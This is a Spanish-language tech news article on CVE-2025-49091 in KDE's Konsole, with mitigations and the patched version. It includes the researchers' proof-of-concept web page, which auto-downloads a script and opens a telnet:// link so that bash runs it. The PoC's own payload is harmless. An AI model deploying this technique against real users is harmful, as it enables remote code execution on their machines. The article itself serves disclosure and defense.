Ubunlog Darkcrizt  

Grave vulnerabilidad en Konsole permite ejecutar código con solo abrir una página web

Vulnerabilidad

Hace pocos días se dio a conocer información sobre una vulnerabilidad crítica, la cual fue identificada bajo «CVE-2025-49091«. Esta vulnerabilidad descubierta en Konsole (el emulador de terminal del entorno KDE), permite la ejecución remota de código simplemente al visitar una página web maliciosa desde un navegador.

Se menciona que este problema afecta a sistemas donde KTelnetService y una versión vulnerable de Konsole están instalados, pero al menos uno de los programas telnet, rlogin o ssh no está instalado. La vulnerabilidad se encuentra en la consola del emulador de terminal de KDE . Como se indica en el aviso de KDE , las versiones de Konsole anteriores a la 25.04.2 son vulnerables.

Konsole admite la carga de URL desde los controladores de esquema como
telnet://URL. Esto se puede ejecutar independientemente de si el telnet
El binario está disponible.

En este modo, Konsole tenía una ruta donde, si Telnet no estaba disponible,
volvería a utilizar bash para los argumentos proporcionados; lo cual
es la URL proporcionada. Esto permite que un atacante ejecute código arbitrario.
código.

Los navegadores suelen mostrar un mensaje cuando un usuario abre un navegador externo.
Controlador de esquema que podría parecer sospechoso y requerir la interacción del usuario
ser explotable.

El origen del problema: KTelnetService y los esquemas URL peligrosos

Los investigadores mencionan que el problema detras de esta vulnerabilidad reside en el comportamiento del servicio KTelnetService, incluido por defecto en KDE. Este servicio se encarga de procesar los esquemas de URL telnet://, rlogin:// y ssh://, y está diseñado para abrir estos enlaces directamente en Konsole utilizando las utilidades correspondientes (telnet, rlogin o ssh).

Sin embargo, el fallo ocurre cuando estas utilidades no están instaladas en el sistema. En ese caso, Konsole, al intentar ejecutar el comando indicado en el enlace, recurre a /bin/bash como sustituto. Por tanto, un atacante puede construir un enlace personalizado.

Aunque a simple vista esto parece insignificante, el problema se agrava debido a que mediante el comando personalizado, el atacante puede ejecutar cualquier archivo en el directorio de descargas del usuario. En otras palabras, se abre la puerta que cualquier archivo sea ejecutado automáticamente si este hace clic en un enlace con ese esquema.

¿Por qué esto es tan peligroso?

Los navegadores modernos como Firefox y Chrome (en sus configuraciones predeterminadas) guardan archivos descargados automáticamente en la carpeta ~/Descargas, sin requerir confirmación del usuario. Solo muestran una notificación después de completar la descarga.

Este comportamiento, combinado con el hecho de que en sistemas Linux es posible acceder a la ruta del directorio actual del navegador, permite que un archivo malicioso descargado automáticamente sea ejecutado posteriormente desde Konsole sin conocimiento del usuario.

Prueba de concepto (PoC): cómo se explota la vulnerabilidad

Para poder demostrar lo peligro del fallo, los investigadores crearon el siguiente fragmento de código JavaScript, con el cual demuestran cómo un atacante podría explotar esta vulnerabilidad desde una página web:

<html>
<head>
<script type="text/javascript">

function downloadAndRedirect() {
const anchor = document.createElement('a');
anchor.href = "data:;base64,ZWNobyAiSGVsbG8gd29ybGQiCnRvdWNoIC90bXAvZm9vYmFyCg==";
anchor.download = 'evil';
document.body.appendChild(anchor);
anchor.click();
document.body.removeChild(anchor);

setTimeout(() => {
window.location.href = "telnet:///proc/self/cwd/Downloads/evil";
}, 1000);
}
</script>
</head>
<body onload="downloadAndRedirect()">
</body>
</html>

En Firefox y Chrome, si el usuario acepta la ejecución del enlace telnet://, se invocará:

/usr/bin/konsole --noclose -e telnet /proc/self/cwd/Descargas/evil

Y, si telnet no está presente, el script malicioso se ejecutará con bash.

Medidas de mitigación temporales

Mientras llega el parche o si no es posible actualizar de inmediato, hay dos formas sencillas de mitigar el problema:

Instalar las utilidades telnet, rlogin y ssh

Si estas utilidades están presentes, Konsole las invocará correctamente y no recurrirá a bash. Esto previene que se ejecute contenido arbitrario como script.

sudo apt install telnet rlogin openssh-client

Eliminar el archivo del servicio KTelnetService

Puedes eliminar el archivo responsable del registro de estos esquemas:

sudo rm /usr/share/applications/ktelnetservice6.desktop

Esto impedirá que los enlaces telnet://, rlogin:// o ssh:// se manejen automáticamente por Konsole.

Solución: actualización urgente a Konsole 25.04.2

La vulnerabilidad ha sido corregida en la versión 25.04.2 de Konsole, incluida en la actualización KDE Gear 25.04.2. Se recomienda encarecidamente a todos los usuarios y administradores de sistemas que actualicen de inmediato.

Finalmente, si estás interesado en poder conocer más al respecto, puedes consultar los detalles en el siguiente enlace.

Leave A Comment

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.